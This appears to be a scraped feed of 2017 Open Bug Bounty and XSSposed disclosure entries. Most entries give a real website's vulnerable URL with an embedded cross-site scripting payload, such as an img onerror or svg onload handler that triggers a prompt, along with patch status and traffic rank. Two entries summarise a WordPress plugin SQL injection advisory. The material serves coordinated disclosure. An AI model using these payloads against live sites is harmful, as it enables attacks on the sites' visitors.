help.rssing.com XSS vulnerability

Vulnerable URL: http://help.rssing.com/request.php?req=gsearch=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5740 VIP...

amzaidi.com XSS vulnerability

Vulnerable URL: https://www.amzaidi.com/searchresult.php?searchid=nomanAli18%201%22%3E%3Cmenu%20id=x%20contextmenu=x%20onshow=alert/OPENBUGBOUNTY/%3E%3Ch1%3Eright%20click%20me%20^^%3C/h1%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.10.2017 Vulnerability type:| X...

mundicamino.com XSS vulnerability

Vulnerable URL: http://www.mundicamino.com/buscador.cfm?cx=partner-pub-3736398284687449%3Aeg2rw5-lwv3=FORID%3A9=ISO-8859-1=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.08.2017 Vulnerability type:...

baardtrimmershop.nl XSS vulnerability

Vulnerable URL: https://www.baardtrimmershop.nl/category/241728%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/trimmers.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1518452 VI...

yonitale.com XSS vulnerability

Vulnerable URL: https://www.yonitale.com/en/models.php?search=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%27OPENBUGBOUNTY%27%29%3B%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

hockey-reference.com XSS vulnerability

Vulnerable URL: http://www.hockey-reference.com/amateurs/team.cgi?t=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 35111 VIP website status:| Yes Check hockey-reference.com SSL...

hypestat.com XSS vulnerability

Vulnerable URL: http://www.hypestat.com/compare/"/" Details: Description| Value ---|--- Patched:| Yes, at 28.09.2017 Latest check for patch:| 28.09.2017 13:15 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11318 VIP website status:| Yes Check hypestat.com SSL...

harikadizi5.com XSS vulnerability

Vulnerable URL: http://www.harikadizi5.com/dizi-bul?d=aaaaa%27%22+ONFOCUS%3Dprompt%22OPENBUGBOUNTY%22+autofocus%3Dx+bad%3D%22%3Ede%27m%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%22OPENBUGBOUNTY%22%3Edem%3C%2Ftag%3E= Details: Description| Value ---|--- Patched:| Yes, at...

relaiscolis.com XSS vulnerability

Vulnerable URL: https://www.relaiscolis.com/suivi-de-colis Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 46950 VIP website status:| Yes Check relaiscolis.com SSL connection:| Grad...

WP Statistics SQL Injection vulnerability

Security experts at Sucuri have discovered a SQL Injection vulnerability in WP Statistics, one of the most popular WordPress plugins, that is currently installed on over 300,000 websites. The SQL Injection vulnerability in WP Statistics could be exploited by attackers, with at least a subscriber...

tsmilla.com XSS vulnerability

Vulnerable URL: http://tsmilla.com/tour/?nats=%22%3E%3Csvg%20onload=alert/OPENBUGBOUNTY/;%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2076159 VIP...

blog.sexmoviesnetwork.com XSS vulnerability

Vulnerable URL: http://blog.sexmoviesnetwork.com/?nats=t" onmouseover=alert/OPENBUGBOUNTY/;MC4wLjExMy4xMTQuMC4wLjAuMC4w Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

WordPress WP Statistics plugin <=12.0.7 - Authenticated SQL Injection vulnerability

WordPress WP Statistic plugin in version 12.0.7 and earlier versions vulnerable to Authenticated SQL Injection vulnerability due to lack of sanitization in user-provided data. In this case users even with subscriber rights could use this vulnerability to steal sensitive data. Solution The plugin...

photo-ac.com XSS vulnerability

Vulnerable URL: https://www.photo-ac.com/main/search?creator=aaaaa%27%22+mytestattr%3Dxxx+bad%3D%22%3Edemoniuma%27aa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Edemonium%3C%2Fmytesttag%3E=idt===1====large=-releasedate= Details: Description| Value ---|--- Patched:| No...

cstr.co.kr XSS vulnerability

Vulnerable URL: http://cstr.co.kr/bbs.ep?operation=view=5956=4"--!"=3659=3356==cc3c6946becb96976542a0a4b4bbb504 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 23474316 VIP website...

copernica.com XSS vulnerability

On the 19.06.2017 security researcher reported a XSS vulnerability affecting the copernica.com website via the Open Bug Bounty coordinated vulnerability disclosure program. Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 19 June, 2017 17:31...

vitijob.com XSS vulnerability

Vulnerable URL: http://www.vitijob.com/index.php?action==listeoffre==999%22%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3Edate=4&pfbc-token0;=&pfbc-token1;=bcd826da3d4e956072ebdfeb7d4e7f62&pfbc-token2;=26f7e4d7befdbe270659e4d3ad628dcb Details: Description| Value ---|--- Patched:| Yes, at...

cobizbank.com XSS vulnerability

Vulnerable URL: https://www.cobizbank.com/Pages/home.aspx?FollowSite=0=%27-confirm%27OPENBUGBOUNTY%27-%27 Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:54 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

windowsitpro.com XSS vulnerability

Vulnerable URL: http://windowsitpro.com/azure/clear-azure-subscriptions-no-id-powershell/'-alert'OPENBUGBOUNTY'-' Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:49 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

myafricanjobs.com XSS vulnerability

Vulnerable URL: http://www.myafricanjobs.com/?s=%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1163435 VIP website status:...